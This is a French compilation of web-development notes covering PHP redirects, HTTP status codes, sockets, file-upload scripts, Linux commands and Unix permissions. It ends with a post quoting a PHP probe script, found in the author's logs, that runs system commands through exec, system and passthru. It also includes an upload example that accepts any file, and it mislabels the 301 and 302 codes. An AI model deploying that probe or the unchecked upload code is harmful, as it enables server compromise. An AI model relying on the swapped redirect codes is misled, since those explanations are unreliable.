chemin /home/e-smith/files/ibays/kangouroo/html/bible/fichier
droit 755

Redirection PHP


Pour des raisons diverses, on peut parfois avoir besoin de faire une redirection. Nous pouvons très bien faire la redirection en JavaScript mais cela ne fonctionnera pas forcément dans tous les cas, par exemple si le navigateur à JavaScript désactivé. (c’est un cas rare certes…)

En PHP, la redirection se fera dans tous les cas étant donné que le code est exécuté par le serveur. Voyez comme il est très simple de faire une redirection en PHP :

Redirection serveur sans changer les entête du navigateur :

<?PHP
header (“location : fichier.php”);
// On peut aussi mettre http://www.site.com à la place de fichier.php
?>

Attention
Une redirection en PHP doit être placé avant tout “output” (sorti de donnée) vers le navigateur. Pour faire simple : il ne doit y avoir AUCUN html avant la redirection. (pas de echo, print etc …)

Redirection serveur

La redirection est définie par une fonction chargée de renvoyer un entête HTTP. Il faut bien sûr bien choisir le code de retour HTTP.

Exemple : utilisation de la fonction header() en PHP en faisant une redirection 301 (document déplacé de façon temporaire) :

<?php
header(“Status : 301 Moved Temporary”);
header(“Location: http://www.votresite.com/unepage.htm”);
exit();
?>

Pour exemple aussi, voici une redirection qui ne nuira pas au référencement sur un annuaire par exemple :

<?php
header(“Status : 302 Moved Permanently”);
header(“Location: http://www.votresite.com/unepage.htm”);
exit();
?>


Le code erreur 302 indique que le document se trouve définitivement à cet endroit. Du coup Google ne prendra pas en compte la page de redirection mais uniquement la page destinataire.

Voici la liste des Code HTTP :

* 100 : OK pour continuer
* 101 : le serveur a changé de protocoles
* 200 : requête effectuée avec succès
* 201 : document créé (raison : nouvelle URI)
* 202 : requête achevée de manière asynchrone (TBS)
* 203 : requête achevée de manière incomplète
* 204 : aucune information à renvoyer
* 205 : requête terminée mais formulaire vide
* 206 : requête GET incomplète
* 300 : le serveur ne peut pas déterminer le code de retour
* 301 : document déplacé de façon permanente
* 302 : document déplacé de façon temporaire
* 303 : redirection avec nouvelle méthode d’accès
* 304 : le champ ’if-modified-since’ n’était pas modifié
* 305 : redirection vers un proxy spécifié par l’entête
* 307 : HTTP/1.1
* 400 : erreur de syntaxe dans l’adresse du document
* 401 : pas d’autorisation d’accès au document
* 402 : accès au document soumis au paiement
* 403 : pas d’autorisation d’accès au serveur
* 404 : la page demandée n’existe pas
* 405 : méthode de requête du formulaire non autorisée
* 406 : requête non acceptée par le serveur
* 407 : autorisation du proxy nécessaire
* 408 : temps d’accès à la page demandée expiré
* 409 : l’utilisateur doit soumettre à nouveau avec plus d’infos
* 410 : cette ressource n’est plus disponible
* 411 : le server a refusé la requête car elle n’a pas de longueur
* 412 : la précondition donnée dans la requête a échoué
* 413 : l’entité de la requête était trop grande
* 414 : l’URI de la requête était trop longue
* 415 : type de média non géré
* 500 : erreur interne du serveur
* 501 : requête faite au serveur non supprimée
* 502 : mauvaise passerelle d’accès
* 503 : service non disponible
* 504 : temps d’accès à la passerelle expiré
* 505 : version HTTP non gérée

Regexp les classes de regex


Les regex
Il peut également être utile de vérifier si une chaîne contient des caractères d’un certain type (numérique, alphanumérique, …) sans avoir à les énumérer. Pour cela les expressions régulières définissent des classes de caractères, dont la syntaxe est:

[:classe:]

Les classes de caractères sont celles définies par UNIX. Voici un tableau récapitulant certaines de ces classes:

Nom de la classe Description
[:alnum:] caractères alphanumériques (équivalent à [A-Za-z0-9] )
[:alpha:] caractères alphabétiques ( [A-Za-z] )
[:blank:] caractères blanc (espace, tabulation)
[:ctrl:] caractères de contrôe (les premiers du code ASCII
[:digit:] chiffre ( [0-9] )
[:graph:] caractère d’imprimerie (qui fait une marque sur l’écran en quelque sorte)
[:print:] caractère imprimable (qui passe à l’imprimante … tout sauf les caractères de contrôle)
[:punct:] caractère de ponctuation
[:space:] caractère d’espacement
[:upper:] caractère majuscule
[:xdigit:] caractère hexadécimal

Voici quelques exemples d’utilisation des classes de caractère dans une expression régulière :

chaine composée d’un ou plusieurs caractère(s) alphanumerique(s) “^[:alnum:]+$” chaine contenant un caractère de ponctuation ou un caractère d’espacement “[:punct:]|[:space:]” Un nombre “^[:digit:]+$”

Les fonctions de manipulation d’expressions régulières

PHP fournit quelques fonctions de bases permettant de manipuler des chaînes à l’aide d’expressions régulières.

Ce document issu de CommentCaMarche.net est soumis à la licence GNU FDL . Vous pouvez copier, modifier des copies de cette page tant que cette note apparaît clairement.

Sockets php avec fsockopen


Utilisation des sockets php

Voici un exemple d’utilisation des sockets en php. Dans cette exemple, on ce connecte au site gnu.org, et on récupere la page à la racine.

fsockopen() retourne un pointeur de fichier qui peut être utilisé avec d’autres fonctions fichiers, telles fgets(), fgetss(), fputs(), fclose() et feof().

Si l’appel échoue, fsockopen() retourne FALSE, et si les options errno et errstr ont été fournies, elles contiennent désormais les raisons de l’échec. Si l’erreur retournée est 0 et que la fonction retourne FALSE, c’est une indication d’erreur. C’est probablement dû à une erreur d’initialisation de la socket. Notez que errno et errstr sont toujours passées par référence.

Suivant les environnements, le type ‘domaine Unix’ ou l’option timeout ne sont pas toujours disponibles.

<?php
// Exemple de récupération d’un document via HTTP
// en utilisant directement les sockets.

$serveur  = ”www.gnu.org”;
$document = ”/”;

echo ”<b>Lecture de $serveur$document</b><br />”;

$idSocket = fSockOpen($serveur, 80, $codeErreur, $msgErreur);
if (!$idSocket) {
echo ”La connexion via la socket a échouée.<br />”;
echo ”Code d’erreur: $codeErreur<br />”;
echo ”Message d’erreur: $msgErreur<br />”;
die();
}

// Configuration de la connexion
// en mode bloquant
// et avec un timeout de 5 min
socket_set_blocking($idSocket, TRUE);
socket_set_timeout($idSocket, 5, 0);

// Envoi de données au serveur
fputs($idSocket, ”GET $document HTTP/1.1\r\n”);
fputs($idSocket, ”Host: localhost\r\n”);
fputs($idSocket, ”\r\n”);                  // Marque la fin de l’entête

// Lecture de la réponse
while (!feof($idSocket)) {
$donnees = fgets($idSocket, 512);
echo ”<xmp>$donnees</xmp>”;            // Affichage du code source
}
?>

Upload PHP


Upload php
L’upload en PHP est utilisé au travers du web en générale d’une façon très peut sécurisé et le plus souvent … pas du tout sécurisé. L’un des problème est que lorsque l’on apprend la programmation en PHP, on ne fais pas toujours attention à la sécurité par manque de mise. L’upload PHP n’est pas à prendre à la légère et on doit vraiment réfléchir au potentiel risques de sécurités que cela pourrai engendré.

Ceci n’est pas la sécurité OPTIMAL que je vais vous montrer ici, mais on s’en rapproche pas mal.

Voici un petit exemple de comment uploader un fichier en php.
upload php NON sécurisé – à but pédagogique et à ne pas utiliser sur un site en production !!!

<form method=”post” enctype=”multipart/form-data” action=”">
<input type=”file” name=”fichier” size=”30″>
<input type=”submit” name=”upload” value=”Uploader”>
</form>
<?php
if( isset($_POST['upload']) ){
$content_dir = ’upload/’;

$tmp_file = $_FILES['fichier']['tmp_name'];

if( !is_uploaded_file($tmp_file) )
{
exit(“Le fichier est introuvable”);
}

//vous pouvez vérifier l’extension du fichier ici.

$name_file = $_FILES['fichier']['name'];

if( !move_uploaded_file($tmp_file, $content_dir . $name_file) )
{
exit(“Impossible de copier le fichier dans $content_dir”);
}

echo ”Le fichier a bien été uploadé”;
}
?>

Voilà donc un code d’upload assès simple et qui pourrai être encore plus simple. Il contient juste la base pour allez plus loin.

upload PHP sécurisé

Maintenant, vous pouvez aussi vérifier le fichier en fonction de son extension, de son type MIME … et aussi vérifié que le fichier ne contient pas de caractères interdit.
Voici donc une version d’upload php sécurisé :

<form method=”post” enctype=”multipart/form-data” action=”">
<input type=”file” name=”fichier” size=”30″>
<input type=”submit” name=”upload” value=”Uploader”>
</form>
<?php
// fonction qui recupere l’extension du fichier
function getExtension($filename){
$ext = substr(strtolower(strrchr(basename($filename), ”.”)), 1);
return $ext;
}
// fonction qui va sécurisé le nom du fichier
function clean_file_name($var){
$var = strtr($var,”ÀÁÂÃÄÅàáâãäåÒÓÔÕÖØòóôõöøÈÉÊËéèêëÇçÌÍÎÏìíîïÙÚÛÜùúûüÿÑñ”,”AAAAAAaaaaaaOOOOOOooooooEEEEeeeeCcIIIIiiiiUUUUuuuuyNn”);
$var = eregi_replace(“[^a-zA-Z0-9.-]“,”",$var);
return $var;
}

if($_POST['upload'])
{
// configuration :

// repertoire où vont être placé les fichiers
$content_dir = $_SERVER['DOCUMENT_ROOT'].’/upload_dir/’;
// ajouter ici les autres extensions que vous autorisé
$extensions=array(‘jpg’,'jpeg’,'gif’,'png’);

// est ce qu’un fichier a ete selectionné ?
if(empty($_FILES['fichier']['name'])){
exit(“Aucun fichier sélectionné.”);
}

// on test si le fichier est uploadé
$tmp_file = $_FILES['fichier']['tmp_name'];
if( !is_uploaded_file($tmp_file) ){
exit(“Le fichier est introuvable”);
}

// renommons le fichier pour plus de sécurité
$name_file = clean_file_name($_FILES['fichier']['name']);

// on test les caracteres non valide
if(preg_match(‘#[x00-x1Fx7F-x9F/]#’, $name_file)){
exit(“Caractères invalides détecté”);
}

// est ce que l’extension est valide ?
if(!in_array(getExtension($name_file),$extensions)) {
exit(“Le format de votre fichier n’est pas autorisé.”);
}

// upload
if(!move_uploaded_file($tmp_file,$content_dir.$name_file)){
exit(“Impossible de copier le fichier !”);
}else{
echo ”Le fichier a bien été uploadé”;
}

}
?>

On pourrai allez plus loin ? OUI !
Il faudrai définir le répertoire d’upload dans un endroit NON accéssible depuis un navigateur web, renommer complètement le fichier, vérifié que le fichier ne contient pas (DANS le fichier) du code PHP ou autre, vérifié le type MIME et faire une contre vérification avec l’extension. Mais bon, ceci est abordé dans le script d’ upload sécurisé myPHPupload

GESTION D’UN SERVEUR LUNIX

Commandes SSH UNIX / LINUX utilent


Liste des commandes SSH UNIX/LINUX les plus utilisées:

Les commandes SSH les plus utilisées sont décrites à la fin du tableau.

at

execute une action à une heure définie

awk

langage de programmation pour traiter des fichiers

cat

liste le contenu d’un fichier

cd

changement de repértoire

chgrp

change un fichier de groupe

chmod

change les droits d’accès à un fichier

chown

changement de propriétaire d’un fichier

cp

copie de fichiers

cut

coupe une chaine (surtout utilisé dans les scripts)

date

affiche/modifie la date

df

affiche l’espace disponible

diff

affiche la différence entre 2 fichiers

du

indique l’espace disque utilisé

egrep

recherche dans un fichier

find

recherche de fichiers

ftp

transfert de fichiers

grep

recherche dans un fichier

history

liste des dernières commandes utilisées

kill

arrêter un process

sh ou ksh ou rsh

appel d’un shell (interpréteur de commandes)

ln

crée un lien sur un fichier

lp ou lpr

redirection vers l’imprimante

lpstat

information sur les imprimantes

ls

liste des fichiers

mail; mailx

affiche et envoie des messages

man commande

aide sur une commande

mkdir

crée un dossier

more

affiche un fichier page à page

mv

deplace un fichier

passwd

changer le mot de passe

ps

listage des process

pwd

affiche le chemin du dossier en cours

rlogin user

changement  d’utilisateur

rlogin -l user machine

connexion sur une autre machine

rm

détruit un fichier

rmdir

détruit un dossier

rsh -l user machine

exécute une commande sur une machine distante

rusers

liste les utilisateurs connectés au reseau

set

afficher les variables d’environnement

sh

appel du shell de base (Bourne shell sous Unix)

sort

trie les ligne d’un fichier

tar

sauvegarde

tee

duplique un flux de données

telnet

connection à un autre système

vi

éditeur système

w ou who ou whoami

liste les utilisateurs connectés au système

write

envoie un message à un utilisateur du système


Quelques exemples de commandes Unix ou Linux:

L’aide en ligne:
Elle disponible (généralement en anglais sauf quelques rares versions de Linux) avec la commande:
man commande   (manuel) ex:
man man

Rechercher un fichier (find):
la commande find est sensible à la casse (majuscules-minuscules). Pour rechercher le fichier “toto” dans tous les sous-dossiers du home directory:
find $HOME -name “toto” -print
pour rechercher le fichier “toto” sans savoir si la 1ère lettre est une majuscule dans tous les sous-dossiers du répertoire /usr:
find /usr -name “*oto” -print

Rechercher une chaine de caractères dans un fichier (voir aussi egrep et fgrep )
exemple pour obtenir des informations sur l’utilisateur “herbe” contenues dans le fichier /etc/passwd:
grep herbe /etc/passwd
résultat:  herbe:x:2411:240:/export/home/qualbois/herbe:/bin/csh

Créer un dossier:
mkdir dossier(mkdir signifie make directory)

Supprimer un dossier:
rm -r dossier (rm signifie remove; l’option -r signifie recursive)

Supprimer un fichier:
rm  fichier

Supprimer tous les fichiers du répertoire courant:
rm -r *

Supprimer tous les fichiers commençant par “toto”:
rm -r toto*

Afficher un fichier page par page:
more fichier (appuyez sur les touches “Entrée” ou “barre d’espace” pour le défilement)

Copier un fichier:
cp  /chemin1/fichier1  /chemin2/fichier2

Copier un fichier dans le repértoire courant:
cp /chemin/fichier  . (le point fait partie de la commande)

Copier tous les dossiers “fils” et fichiers du dossier /tmp dans le répertoire courant:
cp  -r  /tmp  .

Imprimer un fichier sur l’imprimante par défaut:
lp fichier (lp signifie Line Printer)

Obtenir la liste des imprimantes et leur état:
lpstat -a (l’option -a signifie All)

Imprimer un fichier sur l’imprimante “laserjet4″:
lp -d laserjet4 fichier ( l’option -d signifie Destination)

Lister les fichiers du répertoire courant:
ls

Lister les fichiers du répertoire /tmp :
ls  /tmp

Lister les fichiers contenus dans le sous-dossier “VNC” du répértoire courant:
ls  ./VNC (le point à gauche du slash indique que le dossier VNC est un sous-dossier ou dossier “fils”)

Lister les fichiers du répértoire “parent”:
ls ../ (les 2 points à gauche du slash indiquent le dossier supérieur ou dossier “père”)

Lister les fichiers et leurs droits:
ls -la
exemple de résultat:
drwxrwxrwx  40 herbe    qualbois    3584 Apr 23 14:34 .
drwxrwxr-x  32 root     other       1024 Jan 11 14:11 ..
-rw-r–r–   1 herbe    qualbois    1201 Nov 25  1998 .acrorc
-rw-r–r–   1 herbe    qualbois    1443 Mar 16  2000 .cshrc
-rw-r–r–   1 herbe    qualbois     168 Sep  3  1997 .cshrc.14
drwxr-xr-x  16 herbe    qualbois     512 Apr 23 14:24 .dt

La 1ère colonne contient les droits de chaque fichier codés sur 10 caractères;
la 3eme contient le nom du propriétaire du fichier
la 4eme contient le nom du groupe de travail
la 5eme contient la taille du fichier exprimée en octets
la 6eme contient la date de la dernière modification
la 7eme contient le nom du fichier ou dossier
Décodage de la 1ère colonne:
si la 1ère lettre est un D, il s’agit d’un dossier (directory); si c’est un L, il s’agit d’un lien; si c’est un tiret (-), il ‘agit d’un fichier.
Les autres lettres vont par triplet dans l’ordre RWX.
R indique un droit de lecture (Read).
W indique un droit d’écriture (Write).
X indique un droit d’exécution.
Le 1er groupe de 3 lettres (de la 2eme à la 4eme ) indique les droits du propriétaire du fichier.
Le 2eme groupe de 3 lettres (de la 5eme à la 7eme) donne les droits des membres du groupe de travail.
Le 3eme groupe de 3 lettres (de la 8eme à la 10eme) donne les droits de tous les autres utilisateurs du systèmes.

L’utilisateur peut changer les droits de ses propres fichiers; l’administrateur du système peut changer les droits de tous les fichiers.
Changer les droits d’un fichier:
On utilise la commande chmod: chmod  groupe(s)+droits  fichier
les groupes sont indiqués comme ceci:
u pour le propriétaire (user)
g pour groupe
o pour autres utilisateurs (other)

Pour donner tous les droits sur le fichier “toto”:
chmod ugo+rwx toto

Pour retirer tous les droits au groupe et aux autres utilisateurs:
chmod go-rwx toto

Autre syntaxe pour chmod:
On peut compacter la commande en remplaçant les lettres RWX par une valeur numérique et additionner ces valeurs en fonction des droits à attribuer..
R vaut 4
W vaut 2
X vaut 1
Ainsi, pour donner tous les droits au fichier “TOTO”, il suffit d’exécuter:
chmod 777 TOTO (7 = 4(R) + 2(W) + 1(X) )
pour donner les droits de lecture et d’écriture au propriétaire et aucun droit aux autres utilisateurs:
chmod 600 TOTO
pour donner les droits de lecture et d’écriture au propriétaire, les droits de lecture au groupe et aucun droit aux aux autres utilisateurs:
chmod 640 TOTO

Lister les process en cours d’exécution
Chaque fois que vous tapez une commande ou que vous démarrez un programme, au moins un process est exécuté. Il arrive que certains process ne se terminent pas correctement. Il est donc nécessaire de vérifier régulièrement l’état des tâches. On utilise la commande:
ps -options
exemple, lister les process lancés par l’utilisateur herbe:
ps -u herbe
ou
ps -fu herbe
Sous ces 2 formes, la commande “ps” n’affiche que les commandes appartenant à  l’utilisateur “herbe” mais on peut avoir besoin de connaitre l’état d’une commande ou programme sans savoir à priori qui est le “propriétaire” de cette tâche. On utilise la commande “ps” sous cette forme pour lister tous les process en cours.:
ps -aux
Comme ils sont souvent trop nombreux pour être affichés à l’écran, il vaut mieux écrire:
ps -aux | more
Si l’on connait une partie de la réponse, il est plus efficace de filtrer le résultat de la commande en “pipant” la commande grep;
exemple, on veut savoir combien de fois le shell SH est exécuté simultanément:
ps -aux | grep sh
Résultat:
12709 pts/7     0:00 sh
756 pts/3     0:00 sh
4848 pts/10    0:00 sh
27562 pts/20  0:00 sh
La 1ère colonne indique le n° du process.

Stopper un process
On utilise la commande “kill” avec l’option -9. Exemple, arrêter le process n° 756:
kill  -9  756

Changer son mot de passe:
passwd et répondez aux questions!

Les permissions sous Linux

Un article de Wikipédia, l’encyclopédie libre

Les permissions UNIX constituent un système simple de définition des droits d’accès aux ressources, représentées par des fichiers disponibles sur un système informatique. Elles restent le moyen le plus utilisé pour définir les droits des utilisateurs sur les systèmes de type UNIX.

Introduction

Notion d’utilisateur (user)

Toute entité (personne physique ou programme particulier) devant interagir avec un système UNIX est authentifié sur cette machine par un utilisateur ou user. Ceci permet d’identifier un acteur sur un système UNIX. Un utilisateur est reconnu par un nom unique et un numéro unique (la correspondance nom/numéro est stockée dans le fichier /etc/passwd).

Tous les utilisateurs UNIX n’ont pas les mêmes droits sur la machine (ils ne peuvent pas tous faire la même chose), et ceci simplement pour des raisons de sécurité et d’administration. Par exemple, pour éviter tout problème sur Internet, l’utilisateur qui gère le serveur HTTP ne peut pas exécuter des commandes localement.

Certains utilisateurs ne peuvent en effet pas s’authentifier sur la machine et accéder à un interpréteur de commandes. Cela ne veut toutefois pas dire qu’ils ne peuvent rien faire sur la machine : il leur est possible de lire ou écrire des fichiers mais cela nécessite que le super-utilisateur (voir plus bas) démarre un programme pour cet utilisateur. Ce mécanisme est généralement utilisé pour les démons : le super utilisateur démarre le démon et pour éviter que ce dernier puisse faire tout et n’importe quoi sur la machine, il est par exemple attribué à l’utilisateur bin.

Sur tout système UNIX, il y a un super-utilisateur, généralement appelé root, qui a tous les pouvoirs. Il peut accéder librement à toutes les ressources de la machine, y compris à la place d’un autre utilisateur, c’est-à-dire sous son identité. En général, du moins sur les systèmes de production, seul l’administrateur système possède le mot de passe root. L’utilisateur root porte le numéro 0.

Groupe

Un utilisateur UNIX appartient à un ou plusieurs groupes. Les groupes servent à rassembler des utilisateurs afin de leur attribuer des droits communs. Par exemple, sur un système doté d’une carte son, il y a souvent un groupe audio qui regroupe les utilisateurs autorisés à en faire usage.

Propriété

Tout fichier UNIX possède un propriétaire. Au départ, c’est l’utilisateur qui a créé le fichier mais il possible de le « donner » à un autre utilisateur. Seul le propriétaire du fichier et le super utilisateur (root) peuvent changer les droits et l’appartenance de ce fichier. Seul root peut s’attribuer un fichier, mais un utilisateur ordinaire peut donner un de ses fichiers à un autre utilisateur ordinaire.

Un fichier UNIX appartient aussi à un groupe. Ceci donne pleinement son sens à la notion de groupe. On définit ainsi les actions du groupe sur ce fichier. Ce groupe est souvent le groupe d’appartenance du propriétaire, mais ce n’est pas obligatoire. Tout dépend en fait de ce qu’on veut faire. On peut imaginer un scénario de délégation d’administration : le super utilisateur est propriétaire d’un fichier de configuration, mais autorise tous les utilisateurs du groupe admin (les administrateurs) à modifier ce fichier. Le fichier en question aura donc root comme propriétaire et appartiendra au groupe admin.

Rappelons que les répertoires sous UNIX sont aussi des fichiers. Les droits sur les répertoires (mais aussi les périphériques, etc.) fonctionnent exactement de la même façon que sur des fichiers ordinaires.

Droits d’accès à un fichier

À chaque fichier est associée une liste de permissions, qui déterminent ce que chaque utilisateur a le droit de faire du fichier.

Fonctionnement

Les différents droits

Les droits sur un fichier UNIX s’attribuent sur trois « actions » différentes possibles : la lecture (r), l’écriture (w) et l’exécution (x). Pour les répertoires, x correspond à l’accès au répertoire. On appelle parfois r, w et x des « flags » ou « drapeaux ». Sur un fichier donné, ces 3 flags doivent être définis pour son propriétaire, son groupe, mais aussi les autres utilisateurs (différents du propriétaires et n’appartenant pas au groupe).

Seuls root et le propriétaire d’un fichier peuvent changer ses permissions d’accès sans restriction particulière.

Représentation des droits

Cet ensemble de 3 droits sur 3 entités se représente généralement de la façon suivante : on écrit côte à côte les droits r, w puis x respectivement pour le propriétaire (u), le groupe (g) et les autres utilisateurs (o). Les codes u, g et o sont utilisés par les commandes UNIX qui permettent d’attribuer les droits et l’appartenance des fichiers. Lorsqu’un flag est attribué à une entité, on écrit ce flag (r, w ou x), et lorsqu’il n’est pas attribué, on écrit un ‘-’. Par exemple,

 rxwr-xr--

signifie que le propriétaire peut lire, écrire et exécuter le fichier, mais que les utilisateurs du groupe attribué au fichier ne peuvent que le lire et l’exécuter, et enfin que les autres utilisateurs ne peuvent que lire le fichier.

Une autre manière de représenter ces droits est sous forme binaire grâce à une clef numérique fondée sur la correspondance entre un nombre décimal et sont expression binaire :
0 = 000
1 = 001
2 = 010
3 = 011
4 = 100
5 = 101
6 = 110
7 = 111
A l’expression binaire en trois caractères sont associés les 3 types de droits (r w x) ; il suffit donc de déclarer pour chacune des catégories d’utilisateur (user, group, others) un chiffre entre 0 et 7 auquel correspond une séquence de droits d’accès.
Par exemple :
777 filename >> – r w x r w x r w x
605 filename >> – r w – - – - r – x
644 filename >> – r w – r – - r – -
666 filename >> – r w – r w – r w -

Une astuce permet d’associer rapidement une valeur décimale à la séquence de droits souhaitée. Il suffit d’attribuer les valeurs suivantes pour chaque type de droit :
lecture (r) >> 4
ecriture (w) >> 2
execution (x) >> 1
et d’additionner ces valeurs selon qu’on veuille ou non attribuer le droit en correspondant.

Ainsi, rwx « vaut » 7 (4+2+1), r-x « vaut » 5 (4+1) et r– « vaut » 4. Les droits complets (rwxr-xr–) sont donc équivalent à 754. Un manière directe d’attribuer les droits est de les écrire sous cette forme et d’utiliser le code à 3 chiffres résultant avec chmod (voir ci-après).

Utilisation

Pour voir quels droits sont attribués à un fichier, il suffit de taper ls -l nom_du_fichier :

 # ls -l toto
 -rwxr-xr--    1 user     group     12345 Nov 15 09:19 toto 

La sortie signifie que le fichier toto (de taille 12345) appartient à « user », qu’on lui a attribué le groupe « group », et que les droits sont rwxr-xr–. On remarque qu’il y a en fait 10 caractères sur la zone de droits. Le premier – n’est pas un droit, c’est un caractère réservé pour indiquer le type de fichier (on aura par exemple un d à la place pour indiquer un répertoire).

Le changement de droits s’effectue avec la commande chmod ; le changement de propriétaire ou de groupe, à l’aide de la commande chown.

Changer les droits s’effectuer également simplement à partir du nombre à 3 chiffres calculé comme précédemment. Ainsi, pour attribuer les droits r-xr-xr-x (i.e. 555), il suffit d’exécuter :

 chmod 555 nom_du_fichier

HMOD

CHMOD Qu’est-ce que c’est ?

Explication rapide:

Sur votre serveur, il peut vous être parfois nécessaire de controler qui peut lire quoi, en général, tout vos visiteurs.
Qui peut écrire où, cas de MySpeach et bien d’autres programmes, certaines infos doivent être retenues sur un fichier message.txt par exemple.
Vous comprenez déjà qu’on ne peut pas laisser tout le monde écrire n’importe où, sécurité oblige.
Donc vous allez pouvoir configurer le chmod de différentes façons sur votre serveur, toutefois il existe quelques exeptions chez des hébergeurs gratuit où ce controle ne vous sera pas totalement possible, free par exemple.

Exemple:

Nous allons créer un fichier exemple.txt, et le transférer, à l’aide d’un logiciel ftp sur le serveur. Jusque là je concidére que vous savez de quoi on parle et que vous avez déjà fait ça.
Ensuite, toujours dans notre logiciel ftp coté serveur, nous faisons un clic droit sur ce fichier puis propriétés.
Les droits; lecture, écriture, execution seront en général représentés de 2 façons:
Avec des nombres exemple 0755
Avec des lettres exemple rwx rx rx

Voilà il ne vous reste plus qu’a régler vos droits d’accés en cliquant dans les cases.

Démonstration:

Droits d’accés

Classe Lecture:
Ecriture:
Execution:

chmod


User

Group

Other

Permissions des répertoires

Pour les fichiers de type répertoire, la signification des attributs est différente de celle d’un fichier normal.
Mais elle est toujours identique pour les 3 catégories d’utilisateurs du répertoire.

r : lire le contenu, la liste des fichiers
w : modifier le contenu : droits de créer et de supprimer des fichiers dans le répertoire
x : permet d’accéder aux fichiers du répertoire et de s’y déplacer. Si on attribue w, il faut attribuer aussi x sur le répertoire.

Pour en savoir plus…
ac-creteil droits des fichiers

function GKS_calcule(chkbox,num,val,txt){
var ltr=new Array(‘_’,'x’,'w’,'wx’,'r’,'rx’,'rw’,'rwx’);
num.value=eval(chkbox.checked)==true?num.value-(-val):num.value-val;
txt.value=ltr[num.value];
}
Chaines de caracteres et PHP

Création de site

Date PHP

Fonction PHP

Inclassables PHP

Introdution au PHP

Les Sessions PHP

Les variables PHP

PHP

NousPlan du

Upload PHP


Upload php
L’upload en PHP est utilisé au travers du web en générale d’une façon très peut sécurisé et le plus souvent … pas du tout sécurisé. L’un des problème est que lorsque l’on apprend la programmation en PHP, on ne fais pas toujours attention à la sécurité par manque de mise. L’upload PHP n’est pas à prendre à la légère et on doit vraiment réfléchir au potentiel risques de sécurités que cela pourrai engendré.

Ceci n’est pas la sécurité OPTIMAL que je vais vous montrer ici, mais on s’en rapproche pas mal.

Voici un petit exemple de comment uploader un fichier en php.
upload php NON sécurisé – à but pédagogique et à ne pas utiliser sur un site en production !!!

<form method=”post” enctype=”multipart/form-data” action=”">
<input type=”file” name=”fichier” size=”30″>
<input type=”submit” name=”upload” value=”Uploader”>
</form>
<?php
if( isset($_POST['upload']) ){
$content_dir = ‘upload/’;

$tmp_file = $_FILES['fichier']['tmp_name'];

if( !is_uploaded_file($tmp_file) )
{
exit(
“Le fichier est introuvable”);
}

//vous pouvez vérifier l’extension du fichier ici.

$name_file = $_FILES['fichier']['name'];

if( !move_uploaded_file($tmp_file, $content_dir . $name_file) )
{
exit(
“Impossible de copier le fichier dans $content_dir”);
}

echo “Le fichier a bien été uploadé”;
}
?>

Voilà donc un code d’upload assès simple et qui pourrai être encore plus simple. Il contient juste la base pour allez plus loin.

upload PHP sécurisé

Maintenant, vous pouvez aussi vérifier le fichier en fonction de son extension, de son type MIME … et aussi vérifié que le fichier ne contient pas de caractères interdit.
Voici donc une version d’upload php sécurisé :

<form method=”post” enctype=”multipart/form-data” action=”">
<input type=”file” name=”fichier” size=”30″>
<input type=”submit” name=”upload” value=”Uploader”>
</form>
<?php
// fonction qui recupere l’extension du fichier
function getExtension($filename){
$ext = substr(strtolower(strrchr(basename($filename), “.”)), 1);
return
$ext;
}
// fonction qui va sécurisé le nom du fichier
function clean_file_name($var){
$var = strtr($var,“ÀÁÂÃÄÅàáâãäåÒÓÔÕÖØòóôõöøÈÉÊËéèêëÇçÌÍÎÏìíîïÙÚÛÜùúûüÿÑñ”,“AAAAAAaaaaaaOOOOOOooooooEEEEeeeeCcIIIIiiiiUUUUuuuuyNn”);
$var = eregi_replace(“[^a-zA-Z0-9.-]“,“”,$var);
return
$var;
}

if($_POST['upload'])
{
// configuration :

// repertoire où vont être placé les fichiers
$content_dir = $_SERVER['DOCUMENT_ROOT'].‘/upload_dir/’;
// ajouter ici les autres extensions que vous autorisé
$extensions=array(‘jpg’,‘jpeg’,‘gif’,‘png’);

// est ce qu’un fichier a ete selectionné ?
if(empty($_FILES['fichier']['name'])){
exit(
“Aucun fichier sélectionné.”);
}

// on test si le fichier est uploadé
$tmp_file = $_FILES['fichier']['tmp_name'];
if( !
is_uploaded_file($tmp_file) ){
exit(
“Le fichier est introuvable”);
}

// renommons le fichier pour plus de sécurité
$name_file = clean_file_name($_FILES['fichier']['name']);

// on test les caracteres non valide
if(preg_match(‘#[x00-x1Fx7F-x9F/]#’, $name_file)){
exit(
“Caractères invalides détecté”);
}

// est ce que l’extension est valide ?
if(!in_array(getExtension($name_file),$extensions)) {
exit(
“Le format de votre fichier n’est pas autorisé.”);
}

// upload
if(!move_uploaded_file($tmp_file,$content_dir.$name_file)){
exit(
“Impossible de copier le fichier !”);
}else{
echo
“Le fichier a bien été uploadé”;
}

}
?>

On pourrai allez plus loin ? OUI !
Il faudrai définir le répertoire d’upload dans un endroit NON accéssible depuis un navigateur web, renommer complètement le fichier, vérifié que le fichier ne contient pas (DANS le fichier) du code PHP ou autre, vérifié le type MIME et faire une contre vérification avec l’extension. Mais bon, ceci est abordé dans le script d’ upload sécurisé myPHPupload

Bon upload php !

Le 02/06/2008 par Sky
http://www.graphiks.net

En regardant mes stats, je vient de trouvé un drole de page demandé :
http://www.sciclubinrete.it/mdpro//modules/PNphpBB2/files/Sting.txt?

… Suis allez voir le contenu de la page …

<?php
$dir
= @getcwd();
echo
“MaxBot<br>”;
$OS = @PHP_OS;
echo
“OSTYPE:$OS<br>”;
$free = disk_free_space($dir);

if ($free === FALSE) {$free = 0;}

if ($free < 0) {$free = 0;}
echo
“Free:”.view_size($free).“<br>”;

$cmd=“id”;
$eseguicmd=ex($cmd);
echo
$eseguicmd;

function ex($cfe){
$res = ;
if (!empty(
$cfe)){
if(
function_exists(‘exec’)){
@
exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(
function_exists(’shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(
function_exists(’system’)){
@
ob_start();
@
system($cfe);
$res = @ob_get_contents();
@
ob_end_clean();
}
elseif(
function_exists(‘passthru’)){
@
ob_start();
@
passthru($cfe);
$res = @ob_get_contents();
@
ob_end_clean();
}
elseif(@
is_resource($f = @popen($cfe,“r”))){
$res = “”;
while(!@
feof($f)) { $res .= @fread($f,1024); }
@
pclose($f);
}}
return
$res;
}

function view_size($size)

{

if (!is_numeric($size)) {return FALSE;}

else

{

if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 .GB”;}

elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 .“ MB”;}

elseif ($size >= 1024) {$size = round($size/1024*100)/100 .KB”;}

else {$size = $size . “ B”;}

return $size;

}

}
exit;?>

Laisser un commentaire